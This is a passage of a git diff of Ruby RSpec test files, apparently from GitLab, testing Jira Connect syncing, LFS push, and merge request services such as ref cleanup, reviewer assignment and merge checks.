expect(subject.success?).to be_truthy
diff --git a/spec/services/jira_connect/sync_service_spec.rb b/spec/services/jira_connect/sync_service_spec.rb
new file mode 100644
index 00000000000..e26ca30d0e1
--- /dev/null
+++ b/spec/services/jira_connect/sync_service_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnect::SyncService do
+ describe '#execute' do
+ let_it_be(:project) { create(:project, :repository) }
+ let(:branches) { [project.repository.find_branch('master')] }
+ let(:commits) { project.commits_by(oids: %w[b83d6e3 5a62481]) }
+ let(:merge_requests) { [create(:merge_request, source_project: project, target_project: project)] }
+
+ subject do
+ described_class.new(project).execute(commits: commits, branches: branches, merge_requests: merge_requests)
+ end
+
+ before do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ def expect_jira_client_call(return_value = { 'status': 'success' })
+ expect_next_instance_of(Atlassian::JiraConnect::Client) do |instance|
+ expect(instance).to receive(:store_dev_info).with(
+ project: project,
+ commits: commits,
+ branches: [instance_of(Gitlab::Git::Branch)],
+ merge_requests: merge_requests
+ ).and_return(return_value)
+ end
+ end
+
+ def expect_log(type, message)
+ expect(Gitlab::ProjectServiceLogger)
+ .to receive(type).with(
+ message: 'response from jira dev_info api',
+ integration: 'JiraConnect',
+ project_id: project.id,
+ project_path: project.full_path,
+ jira_response: message&.to_json
+ )
+ end
+
+ it 'calls Atlassian::JiraConnect::Client#store_dev_info and logs the response' do
+ expect_jira_client_call
+
+ expect_log(:info, { 'status': 'success' })
+
+ subject
+ end
+
+ context 'when request returns an error' do
+ it 'logs the response as an error' do
+ expect_jira_client_call({
+ 'errorMessages' => ['some error message']
+ })
+
+ expect_log(:error, { 'errorMessages' => ['some error message'] })
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/services/jira_connect_subscriptions/create_service_spec.rb b/spec/services/jira_connect_subscriptions/create_service_spec.rb
new file mode 100644
index 00000000000..77e758cf6fe
--- /dev/null
+++ b/spec/services/jira_connect_subscriptions/create_service_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe JiraConnectSubscriptions::CreateService do
+ let(:installation) { create(:jira_connect_installation) }
+ let(:current_user) { create(:user) }
+ let(:group) { create(:group) }
+ let(:path) { group.full_path }
+
+ subject { described_class.new(installation, current_user, namespace_path: path).execute }
+
+ before do
+ group.add_maintainer(current_user)
+ end
+
+ shared_examples 'a failed execution' do
+ it 'does not create a subscription' do
+ expect { subject }.not_to change { installation.subscriptions.count }
+ end
+
+ it 'returns an error status' do
+ expect(subject[:status]).to eq(:error)
+ end
+ end
+
+ context 'when user does have access' do
+ it 'creates a subscription' do
+ expect { subject }.to change { installation.subscriptions.count }.from(0).to(1)
+ end
+
+ it 'returns success' do
+ expect(subject[:status]).to eq(:success)
+ end
+ end
+
+ context 'when path is invalid' do
+ let(:path) { 'some_invalid_namespace_path' }
+
+ it_behaves_like 'a failed execution'
+ end
+
+ context 'when user does not have access' do
+ subject { described_class.new(installation, create(:user), namespace_path: path).execute }
+
+ it_behaves_like 'a failed execution'
+ end
+end
diff --git a/spec/services/lfs/push_service_spec.rb b/spec/services/lfs/push_service_spec.rb
new file mode 100644
index 00000000000..8e5b98fdc9c
--- /dev/null
+++ b/spec/services/lfs/push_service_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Lfs::PushService do
+ let(:logger) { service.send(:logger) }
+ let(:lfs_client) { service.send(:lfs_client) }
+
+ let_it_be(:project) { create(:forked_project_with_submodules) }
+ let_it_be(:remote_mirror) { create(:remote_mirror, project: project, enabled: true) }
+ let_it_be(:lfs_object) { create_linked_lfs_object(project, :project) }
+
+ let(:params) { { url: remote_mirror.bare_url, credentials: remote_mirror.credentials } }
+
+ subject(:service) { described_class.new(project, nil, params) }
+
+ describe "#execute" do
+ it 'uploads the object when upload is requested' do
+ stub_lfs_batch(lfs_object)
+
+ expect(lfs_client)
+ .to receive(:upload)
+ .with(lfs_object, upload_action_spec(lfs_object), authenticated: true)
+
+ expect(service.execute).to eq(status: :success)
+ end
+
+ it 'does nothing if there are no LFS objects' do
+ lfs_object.destroy!
+
+ expect(lfs_client).not_to receive(:upload)
+
+ expect(service.execute).to eq(status: :success)
+ end
+
+ it 'does not upload the object when upload is not requested' do
+ stub_lfs_batch(lfs_object, upload: false)
+
+ expect(lfs_client).not_to receive(:upload)
+
+ expect(service.execute).to eq(status: :success)
+ end
+
+ it 'returns a failure when submitting a batch fails' do
+ expect(lfs_client).to receive(:batch) { raise 'failed' }
+
+ expect(service.execute).to eq(status: :error, message: 'failed')
+ end
+
+ it 'returns a failure when submitting an upload fails' do
+ stub_lfs_batch(lfs_object)
+ expect(lfs_client).to receive(:upload) { raise 'failed' }
+
+ expect(service.execute).to eq(status: :error, message: 'failed')
+ end
+
+ context 'non-project-repository LFS objects' do
+ let_it_be(:nil_lfs_object) { create_linked_lfs_object(project, nil) }
+ let_it_be(:wiki_lfs_object) { create_linked_lfs_object(project, :wiki) }
+ let_it_be(:design_lfs_object) { create_linked_lfs_object(project, :design) }
+
+ it 'only tries to upload the project-repository LFS object' do
+ stub_lfs_batch(nil_lfs_object, lfs_object, upload: false)
+
+ expect(service.execute).to eq(status: :success)
+ end
+ end
+ end
+
+ def create_linked_lfs_object(project, type)
+ create(:lfs_objects_project, project: project, repository_type: type).lfs_object
+ end
+
+ def stub_lfs_batch(*objects, upload: true)
+ expect(lfs_client)
+ .to receive(:batch).with('upload', containing_exactly(*objects))
+ .and_return('transfer' => 'basic', 'objects' => objects.map { |o| object_spec(o, upload: upload) })
+ end
+
+ def batch_spec(*objects, upload: true)
+ { 'transfer' => 'basic', 'objects' => objects.map {|o| object_spec(o, upload: upload) } }
+ end
+
+ def object_spec(object, upload: true)
+ { 'oid' => object.oid, 'size' => object.size, 'authenticated' => true }.tap do |spec|
+ spec['actions'] = { 'upload' => upload_action_spec(object) } if upload
+ end
+ end
+
+ def upload_action_spec(object)
+ { 'href' => "https://example.com/#{object.oid}/#{object.size}", 'header' => { 'Key' => 'value' } }
+ end
+end
diff --git a/spec/services/members/destroy_service_spec.rb b/spec/services/members/destroy_service_spec.rb
index 5c90f1f54ea..3b3f2f3b95a 100644
--- a/spec/services/members/destroy_service_spec.rb
+++ b/spec/services/members/destroy_service_spec.rb
@@ -192,8 +192,8 @@ RSpec.describe Members::DestroyService do
context 'with an access requester' do
before do
- group_project.update(request_access_enabled: true)
- group.update(request_access_enabled: true)
+ group_project.update!(request_access_enabled: true)
+ group.update!(request_access_enabled: true)
group_project.request_access(member_user)
group.request_access(member_user)
end
diff --git a/spec/services/merge_requests/base_service_spec.rb b/spec/services/merge_requests/base_service_spec.rb
new file mode 100644
index 00000000000..bb7b70f1ba2
--- /dev/null
+++ b/spec/services/merge_requests/base_service_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::BaseService do
+ include ProjectForksHelper
+
+ let_it_be(:project) { create(:project, :repository) }
+ let(:title) { 'Awesome merge_request' }
+ let(:params) do
+ {
+ title: title,
+ description: 'please fix',
+ source_branch: 'feature',
+ target_branch: 'master'
+ }
+ end
+
+ subject { MergeRequests::CreateService.new(project, project.owner, params) }
+
+ describe '#execute_hooks' do
+ shared_examples 'enqueues Jira sync worker' do
+ it do
+ Sidekiq::Testing.fake! do
+ expect { subject.execute }.to change(JiraConnect::SyncMergeRequestWorker.jobs, :size).by(1)
+ end
+ end
+ end
+
+ shared_examples 'does not enqueue Jira sync worker' do
+ it do
+ Sidekiq::Testing.fake! do
+ expect { subject.execute }.not_to change(JiraConnect::SyncMergeRequestWorker.jobs, :size)
+ end
+ end
+ end
+
+ context 'with a Jira subscription' do
+ before do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
+
+ context 'MR contains Jira issue key' do
+ let(:title) { 'Awesome merge_request with issue JIRA-123' }
+
+ it_behaves_like 'enqueues Jira sync worker'
+ end
+
+ context 'MR does not contain Jira issue key' do
+ it_behaves_like 'does not enqueue Jira sync worker'
+ end
+ end
+
+ context 'without a Jira subscription' do
+ it_behaves_like 'does not enqueue Jira sync worker'
+ end
+ end
+end
diff --git a/spec/services/merge_requests/build_service_spec.rb b/spec/services/merge_requests/build_service_spec.rb
index f99be26927d..f83b8d98ce8 100644
--- a/spec/services/merge_requests/build_service_spec.rb
+++ b/spec/services/merge_requests/build_service_spec.rb
@@ -88,6 +88,10 @@ RSpec.describe MergeRequests::BuildService do
let(:source_project) { fork_project(project, user) }
let(:merge_request) { described_class.new(project, user, mr_params).execute }
+ before do
+ project.add_reporter(user)
+ end
+
it 'assigns force_remove_source_branch' do
expect(merge_request.force_remove_source_branch?).to be_truthy
end
@@ -510,7 +514,7 @@ RSpec.describe MergeRequests::BuildService do
let(:target_project) { create(:project, :public, :repository) }
before do
- target_project.update(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
+ target_project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
end
it 'sets the target_project correctly' do
diff --git a/spec/services/merge_requests/cleanup_refs_service_spec.rb b/spec/services/merge_requests/cleanup_refs_service_spec.rb
new file mode 100644
index 00000000000..b38ccee4aa0
--- /dev/null
+++ b/spec/services/merge_requests/cleanup_refs_service_spec.rb
@@ -0,0 +1,146 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe MergeRequests::CleanupRefsService do
+ describe '.schedule' do
+ let(:merge_request) { build(:merge_request) }
+
+ it 'schedules MergeRequestCleanupRefsWorker' do
+ expect(MergeRequestCleanupRefsWorker)
+ .to receive(:perform_in)
+ .with(described_class::TIME_THRESHOLD, merge_request.id)
+
+ described_class.schedule(merge_request)
+ end
+ end
+
+ describe '#execute' do
+ before do
+ # Need to re-enable this as it's being stubbed in spec_helper for
+ # performance reasons but is needed to run for this test.
+ allow(Gitlab::Git::KeepAround).to receive(:execute).and_call_original
+ end
+
+ subject(:result) { described_class.new(merge_request).execute }
+
+ shared_examples_for 'service that cleans up merge request refs' do
+ it 'creates keep around ref and deletes merge request refs' do
+ old_ref_head = ref_head
+
+ aggregate_failures do
+ expect(result[:status]).to eq(:success)
+ expect(kept_around?(old_ref_head)).to be_truthy
+ expect(ref_head).to be_nil
+ end
+ end
+
+ context 'when merge request has merge ref' do
+ before do
+ MergeRequests::MergeToRefService
+ .new(merge_request.project, merge_request.author)
+ .execute(merge_request)
+ end
+
+ it 'caches merge ref sha and deletes merge ref' do
+ old_merge_ref_head = merge_request.merge_ref_head
+
+ aggregate_failures do
+ expect(result[:status]).to eq(:success)
+ expect(kept_around?(old_merge_ref_head)).to be_truthy
+ expect(merge_request.reload.merge_ref_sha).to eq(old_merge_ref_head.id)
+ expect(ref_exists?(merge_request.merge_ref_path)).to be_falsy
+ end
+ end
+
+ context 'when merge ref sha cannot be cached' do
+ before do
+ allow(merge_request)
+ .to receive(:update_column)
+ .with(:merge_ref_sha, merge_request.merge_ref_head.id)
+ .and_return(false)
+ end
+
+ it_behaves_like 'service that does not clean up merge request refs'
+ end
+ end
+
+ context 'when keep around ref cannot be created' do
+ before do
+ allow_next_instance_of(Gitlab::Git::KeepAround) do |keep_around|
+ expect(keep_around).to receive(:kept_around?).and_return(false)
+ end
+ end
+
+ it_behaves_like 'service that does not clean up merge request refs'
+ end
+ end
+
+ shared_examples_for 'service that does not clean up merge request refs' do
+ it 'does not delete merge request refs' do
+ aggregate_failures do
+ expect(result[:status]).to eq(:error)
+ expect(ref_head).to be_present
+ end
+ end
+ end
+
+ context 'when merge request is closed' do
+ let(:merge_request) { create(:merge_request, :closed) }
+
+ context "when closed #{described_class::TIME_THRESHOLD.inspect} ago" do
+ before do
+ merge_request.metrics.update!(latest_closed_at: described_class::TIME_THRESHOLD.ago)
+ end
+
+ it_behaves_like 'service that cleans up merge request refs'
+ end
+
+ context "when closed later than #{described_class::TIME_THRESHOLD.inspect} ago" do
+ before do
+ merge_request.metrics.update!(latest_closed_at: (described_class::TIME_THRESHOLD - 1.day).ago)
+ end
+
+ it_behaves_like 'service that does not clean up merge request refs'
+ end
+ end
+
+ context 'when merge request is merged' do
+ let(:merge_request) { create(:merge_request, :merged) }
+
+ context "when merged #{described_class::TIME_THRESHOLD.inspect} ago" do
+ before do
+ merge_request.metrics.update!(merged_at: described_class::TIME_THRESHOLD.ago)
+ end
+
+ it_behaves_like 'service that cleans up merge request refs'
+ end
+
+ context "when merged later than #{described_class::TIME_THRESHOLD.inspect} ago" do
+ before do
+ merge_request.metrics.update!(merged_at: (described_class::TIME_THRESHOLD - 1.day).ago)
+ end
+
+ it_behaves_like 'service that does not clean up merge request refs'
+ end
+ end
+
+ context 'when merge request is not closed nor merged' do
+ let(:merge_request) { create(:merge_request, :opened) }
+
+ it_behaves_like 'service that does not clean up merge request refs'
+ end
+ end
+
+ def kept_around?(commit)
+ Gitlab::Git::KeepAround.new(merge_request.project.repository).kept_around?(commit.id)
+ end
+
+ def ref_head
+ merge_request.project.repository.commit(merge_request.ref_path)
+ end
+
+ def ref_exists?(ref)
+ merge_request.project.repository.ref_exists?(ref)
+ end
+end
diff --git a/spec/services/merge_requests/close_service_spec.rb b/spec/services/merge_requests/close_service_spec.rb
index e518e439a84..e7ac286f48b 100644
--- a/spec/services/merge_requests/close_service_spec.rb
+++ b/spec/services/merge_requests/close_service_spec.rb
@@ -99,6 +99,12 @@ RSpec.describe MergeRequests::CloseService do
described_class.new(project, user).execute(merge_request)
end
+ it 'schedules CleanupRefsService' do
+ expect(MergeRequests::CleanupRefsService).to receive(:schedule).with(merge_request)
+
+ described_class.new(project, user).execute(merge_request)
+ end
+
context 'current user is not authorized to close merge request' do
before do
perform_enqueued_jobs do
diff --git a/spec/services/merge_requests/conflicts/list_service_spec.rb b/spec/services/merge_requests/conflicts/list_service_spec.rb
index 14133731e37..5132eac0158 100644
--- a/spec/services/merge_requests/conflicts/list_service_spec.rb
+++ b/spec/services/merge_requests/conflicts/list_service_spec.rb
@@ -30,14 +30,13 @@ RSpec.describe MergeRequests::Conflicts::ListService do
it 'returns a falsey value when one of the MR branches is missing' do
merge_request = create_merge_request('conflict-resolvable')
merge_request.project.repository.rm_branch(merge_request.author, 'conflict-resolvable')
- merge_request.clear_memoized_source_branch_exists
expect(conflicts_service(merge_request).can_be_resolved_in_ui?).to be_falsey
end
it 'returns a falsey value when the MR does not support new diff notes' do
merge_request = create_merge_request('conflict-resolvable')
- merge_request.merge_request_diff.update(start_commit_sha: nil)
+ merge_request.merge_request_diff.update!(start_commit_sha: nil)
expect(conflicts_service(merge_request).can_be_resolved_in_ui?).to be_falsey
end
diff --git a/spec/services/merge_requests/create_pipeline_service_spec.rb b/spec/services/merge_requests/create_pipeline_service_spec.rb
index db46bd37eea..4dd70627977 100644
--- a/spec/services/merge_requests/create_pipeline_service_spec.rb
+++ b/spec/services/merge_requests/create_pipeline_service_spec.rb
@@ -5,13 +5,14 @@ require 'spec_helper'
RSpec.describe MergeRequests::CreatePipelineService do
include ProjectForksHelper
- let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let(:service) { described_class.new(project, actor, params) }
let(:actor) { user }
let(:params) { {} }
before do
+ stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: false)
project.add_developer(user)
end
@@ -58,9 +59,27 @@ RSpec.describe MergeRequests::CreatePipelineService do
expect(subject.project).to eq(project)
end
- context 'when ci_allow_to_create_merge_request_pipelines_in_target_project feature flag is disabled' do
+ context 'when source branch is protected' do
+ context 'when actor does not have permission to update the protected branch in target project' do
+ let!(:protected_branch) { create(:protected_branch, name: '*', project: project) }
+
+ it 'creates a pipeline in the source project' do
+ expect(subject.project).to eq(source_project)
+ end
+ end
+
+ context 'when actor has permission to update the protected branch in target project' do
+ let!(:protected_branch) { create(:protected_branch, :developers_can_merge, name: '*', project: project) }
+
+ it 'creates a pipeline in the target project' do
+ expect(subject.project).to eq(project)
+ end
+ end
+ end
+
+ context 'when ci_disallow_to_create_merge_request_pipelines_in_target_project feature flag is enabled' do
before do
- stub_feature_flags(ci_allow_to_create_merge_request_pipelines_in_target_project: false)
+ stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: true)
end
it 'creates a pipeline in the source project' do
diff --git a/spec/services/merge_requests/create_service_spec.rb b/spec/services/merge_requests/create_service_spec.rb
index bb62e594e7a..d042b318d02 100644
--- a/spec/services/merge_requests/create_service_spec.rb
+++ b/spec/services/merge_requests/create_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
- let(:assignee) { create(:user) }
+ let(:user2) { create(:user) }
describe '#execute' do
context 'valid params' do
@@ -26,7 +26,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
before do
project.add_maintainer(user)
- project.add_developer(assignee)
+ project.add_developer(user2)
allow(service).to receive(:execute_hooks)
end
@@ -75,7 +75,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
description: "well this is not done yet\n/wip",
source_branch: 'feature',
target_branch: 'master',
- assignees: [assignee]
+ assignees: [user2]
}
end
@@ -91,7 +91,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
description: "well this is not done yet\n/wip",
source_branch: 'feature',
target_branch: 'master',
- assignees: [assignee]
+ assignees: [user2]
}
end
@@ -108,17 +108,17 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
description: 'please fix',
source_branch: 'feature',
target_branch: 'master',
- assignees: [assignee]
+ assignees: [user2]
}
end
- it { expect(merge_request.assignees).to eq([assignee]) }
+ it { expect(merge_request.assignees).to eq([user2]) }
it 'creates a todo for new assignee' do
attributes = {
project: project,
author: user,
- user: assignee,
+ user: user2,
target_id: merge_request.id,
target_type: merge_request.class.name,
action: Todo::ASSIGNED,
@@ -129,6 +129,34 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
end
+ context 'when reviewer is assigned' do
+ let(:opts) do
+ {
+ title: 'Awesome merge_request',
+ description: 'please fix',
+ source_branch: 'feature',
+ target_branch: 'master',
+ reviewers: [user2]
+ }
+ end
+
+ it { expect(merge_request.reviewers).to eq([user2]) }
+
+ it 'creates a todo for new reviewer' do
+ attributes = {
+ project: project,
+ author: user,
+ user: user2,
+ target_id: merge_request.id,
+ target_type: merge_request.class.name,
+ action: Todo::REVIEW_REQUESTED,
+ state: :pending
+ }
+
+ expect(Todo.where(attributes).count).to eq 1
+ end
+ end
+
context 'when head pipelines already exist for merge request source branch', :sidekiq_inline do
let(:shas) { project.repository.commits(opts[:source_branch], limit: 2).map(&:id) }
let!(:pipeline_1) { create(:ci_pipeline, project: project, ref: opts[:source_branch], project_id: project.id, sha: shas[1]) }
@@ -212,7 +240,8 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
before do
- target_project.add_developer(assignee)
+ stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: false)
+ target_project.add_developer(user2)
target_project.add_maintainer(user)
end
@@ -338,6 +367,10 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
end
end
+
+ it_behaves_like 'reviewer_ids filter' do
+ let(:execute) { service.execute }
+ end
end
it_behaves_like 'issuable record that supports quick actions' do
@@ -361,7 +394,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
assignee_ids: create(:user).id,
milestone_id: 1,
title: 'Title',
- description: %(/assign @#{assignee.username}\n/milestone %"#{milestone.name}"),
+ description: %(/assign @#{user2.username}\n/milestone %"#{milestone.name}"),
source_branch: 'feature',
target_branch: 'master'
}
@@ -369,12 +402,12 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
before do
project.add_maintainer(user)
- project.add_maintainer(assignee)
+ project.add_maintainer(user2)
end
it 'assigns and sets milestone to issuable from command' do
expect(merge_request).to be_persisted
- expect(merge_request.assignees).to eq([assignee])
+ expect(merge_request.assignees).to eq([user2])
expect(merge_request.milestone).to eq(milestone)
end
end
@@ -382,7 +415,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
context 'merge request create service' do
context 'asssignee_id' do
- let(:assignee) { create(:user) }
+ let(:user2) { create(:user) }
before do
project.add_maintainer(user)
@@ -405,12 +438,12 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
it 'saves assignee when user id is valid' do
- project.add_maintainer(assignee)
- opts = { title: 'Title', description: 'Description', assignee_ids: [assignee.id] }
+ project.add_maintainer(user2)
+ opts = { title: 'Title', description: 'Description', assignee_ids: [user2.id] }
merge_request = described_class.new(project, user, opts).execute
- expect(merge_request.assignees).to eq([assignee])
+ expect(merge_request.assignees).to eq([user2])
end
context 'when assignee is set' do
@@ -418,24 +451,24 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
{
title: 'Title',
description: 'Description',
- assignee_ids: [assignee.id],
+ assignee_ids: [user2.id],
source_branch: 'feature',
target_branch: 'master'
}
end
it 'invalidates open merge request counter for assignees when merge request is assigned' do
- project.add_maintainer(assignee)
+ project.add_maintainer(user2)
described_class.new(project, user, opts).execute
- expect(assignee.assigned_open_merge_requests_count).to eq 1
+ expect(user2.assigned_open_merge_requests_count).to eq 1
end
end
context "when issuable feature is private" do
before do
- project.project_feature.update(issues_access_level: ProjectFeature::PRIVATE,
+ project.project_feature.update!(issues_access_level: ProjectFeature::PRIVATE,
merge_requests_access_level: ProjectFeature::PRIVATE)
end
@@ -443,8 +476,8 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
levels.each do |level|
it "removes not authorized assignee when project is #{Gitlab::VisibilityLevel.level_name(level)}" do
- project.update(visibility_level: level)
- opts = { title: 'Title', description: 'Description', assignee_ids: [assignee.id] }
+ project.update!(visibility_level: level)
+ opts = { title: 'Title', description: 'Description', assignee_ids: [user2.id] }
merge_request = described_class.new(project, user, opts).execute
@@ -470,7 +503,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
before do
project.add_maintainer(user)
- project.add_developer(assignee)
+ project.add_developer(user2)
end
it 'creates a `MergeRequestsClosingIssues` record for each issue' do
@@ -498,7 +531,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
context 'when user can not access source project' do
before do
- target_project.add_developer(assignee)
+ target_project.add_developer(user2)
target_project.add_maintainer(user)
end
@@ -510,7 +543,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
context 'when user can not access target project' do
before do
- target_project.add_developer(assignee)
+ target_project.add_developer(user2)
target_project.add_maintainer(user)
end
@@ -562,7 +595,7 @@ RSpec.describe MergeRequests::CreateService, :clean_gitlab_redis_shared_state do
end
before do
- project.add_developer(assignee)
+ project.add_developer(user2)
project.add_maintainer(user)
end
diff --git a/spec/services/merge_requests/delete_non_latest_diffs_service_spec.rb b/spec/services/merge_requests/delete_non_latest_diffs_service_spec.rb
index 377615bbc6f..cdaacaf5fca 100644
--- a/spec/services/merge_requests/delete_non_latest_diffs_service_spec.rb
+++ b/spec/services/merge_requests/delete_non_latest_diffs_service_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe MergeRequests::DeleteNonLatestDiffsService, :clean_gitlab_redis_s
expect(diffs.count).to eq(4)
- Timecop.freeze do
+ freeze_time do
expect(DeleteDiffFilesWorker)
.to receive(:bulk_perform_in)
.with(5.minutes, [[diffs.first.id], [diffs.second.id]])
diff --git a/spec/services/merge_requests/merge_service_spec.rb b/spec/services/merge_requests/merge_service_spec.rb
index 11e341994f7..8328f461029 100644
--- a/spec/services/merge_requests/merge_service_spec.rb
+++ b/spec/services/merge_requests/merge_service_spec.rb
@@ -152,6 +152,7 @@ RSpec.describe MergeRequests::MergeService do
let(:commit) { double('commit', safe_message: "Fixes #{jira_issue.to_reference}") }
before do
+ stub_jira_service_test
project.update!(has_external_issue_tracker: true)
jira_service_settings
stub_jira_urls(jira_issue.id)
@@ -175,7 +176,7 @@ RSpec.describe MergeRequests::MergeService do
end
it 'does not close issue' do
- jira_tracker.update(jira_issue_transition_id: nil)
+ jira_tracker.update!(jira_issue_transition_id: nil)
expect_any_instance_of(JiraService).not_to receive(:transition_issue)
@@ -388,7 +389,7 @@ RSpec.describe MergeRequests::MergeService do
error_message = 'Failed to squash. Should be done manually'
allow_any_instance_of(MergeRequests::SquashService).to receive(:squash!).and_return(nil)
- merge_request.update(squash: true)
+ merge_request.update!(squash: true)
service.execute(merge_request)
@@ -402,7 +403,7 @@ RSpec.describe MergeRequests::MergeService do
error_message = 'another squash is already in progress'
allow_any_instance_of(MergeRequest).to receive(:squash_in_progress?).and_return(true)
- merge_request.update(squash: true)
+ merge_request.update!(squash: true)
service.execute(merge_request)
@@ -420,7 +421,7 @@ RSpec.describe MergeRequests::MergeService do
%w(semi-linear ff).each do |merge_method|
it "logs and saves error if merge is #{merge_method} only" do
merge_method = 'rebase_merge' if merge_method == 'semi-linear'
- merge_request.project.update(merge_method: merge_method)
+ merge_request.project.update!(merge_method: merge_method)
error_message = 'Only fast-forward merge is allowed for your project. Please update your source branch'
allow(service).to receive(:execute_hooks)
@@ -434,6 +435,43 @@ RSpec.describe MergeRequests::MergeService do
end
end
end
+
+ context 'when not mergeable' do
+ let!(:error_message) { 'Merge request is not mergeable' }
+
+ context 'with failing CI' do
+ before do
+ allow(merge_request).to receive(:mergeable_ci_state?) { false }
+ end
+
+ it 'logs and saves error' do
+ service.execute(merge_request)
+
+ expect(Gitlab::AppLogger).to have_received(:error).with(a_string_matching(error_message))
+ end
+ end
+
+ context 'with unresolved discussions' do
+ before do
+ allow(merge_request).to receive(:mergeable_discussions_state?) { false }
+ end
+
+ it 'logs and saves error' do
+ service.execute(merge_request)
+
+ expect(Gitlab::AppLogger).to have_received(:error).with(a_string_matching(error_message))
+ end
+
+ context 'when passing `skip_discussions_check: true` as `options` parameter' do
+ it 'merges the merge request' do
+ service.execute(merge_request, skip_discussions_check: true)
+
+ expect(merge_request).to be_valid
+ expect(merge_request).to be_merged
+ end
+ end
+ end
+ end
end
end
end
diff --git a/spec/services/merge_requests/post_merge_service_spec.rb b/spec/services/merge_requests/post_merge_service_spec.rb
index a51a896ca96..402f753c0af 100644
--- a/spec/services/merge_requests/post_merge_service_spec.rb
+++ b/spec/services/merge_requests/post_merge_service_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe MergeRequests::PostMergeService do
end
it 'marks MR as merged regardless of errors when closing issues' do
- merge_request.update(target_branch: 'foo')
+ merge_request.update!(target_branch: 'foo')
allow(project).to receive(:default_branch).and_return('foo')
issue = create(:issue, project: project)
@@ -72,6 +72,12 @@ RSpec.describe MergeRequests::PostMergeService do
subject
end
+ it 'schedules CleanupRefsService' do
+ expect(MergeRequests::CleanupRefsService).to receive(:schedule).with(merge_request)
+
+ subject
+ end
+
context 'when the merge request has review apps' do
it 'cancels all review app deployments' do
pipeline = create(:ci_pipeline,
diff --git a/spec/services/merge_requests/refresh_service_spec.rb b/spec/services/merge_requests/refresh_service_spec.rb
index 0696e8a247f..cace1e0bf09 100644
--- a/spec/services/merge_requests/refresh_service_spec.rb
+++ b/spec/services/merge_requests/refresh_service_spec.rb
@@ -225,6 +225,10 @@ RSpec.describe MergeRequests::RefreshService do
context 'when service runs on forked project' do
let(:project) { @fork_project }
+ before do
+ stub_feature_flags(ci_disallow_to_create_merge_request_pipelines_in_target_project: false)
+ end
+
it 'creates detached merge request pipeline for fork merge request', :sidekiq_inline do
expect { subject }
.to change { @fork_merge_request.pipelines_for_merge_request.count }.by(1)
@@ -617,7 +621,7 @@ RSpec.describe MergeRequests::RefreshService do
before do
stub_feature_flags(track_resource_state_change_events: state_tracking_enabled)
- @fork_project.destroy
+ @fork_project.destroy!
service.new(@project, @user).execute(@oldrev, @newrev, 'refs/heads/feature')
reload_mrs
end
diff --git a/spec/services/merge_requests/update_service_spec.rb b/spec/services/merge_requests/update_service_spec.rb
index c3433c8c9d2..6b7463d4996 100644
--- a/spec/services/merge_requests/update_service_spec.rb
+++ b/spec/services/merge_requests/update_service_spec.rb
@@ -52,6 +52,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
title: 'New title',
description: 'Also please fix',
assignee_ids: [user.id],
+ reviewer_ids: [user.id],
state_event: 'close',
label_ids: [label.id],
target_branch: 'target',
@@ -75,6 +76,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
expect(@merge_request).to be_valid
expect(@merge_request.title).to eq('New title')
expect(@merge_request.assignees).to match_array([user])
+ expect(@merge_request.reviewers).to match_array([user])
expect(@merge_request).to be_closed
expect(@merge_request.labels.count).to eq(1)
expect(@merge_request.labels.first.title).to eq(label.name)
@@ -161,6 +163,29 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
expect(@merge_request.merge_params["force_remove_source_branch"]).to eq("1")
end
end
+
+ it_behaves_like 'reviewer_ids filter' do
+ let(:opts) { {} }
+ let(:execute) { update_merge_request(opts) }
+ end
+
+ context 'with an existing reviewer' do
+ let(:merge_request) do
+ create(:merge_request, :simple, source_project: project, reviewer_ids: [user2.id])
+ end
+
+ context 'when merge_request_reviewer feature is enabled' do
+ before do
+ stub_feature_flags(merge_request_reviewer: true)
+ end
+
+ let(:opts) { { reviewer_ids: [IssuableFinder::Params::NONE] } }
+
+ it 'removes reviewers' do
+ expect(update_merge_request(opts).reviewers).to eq []
+ end
+ end
+ end
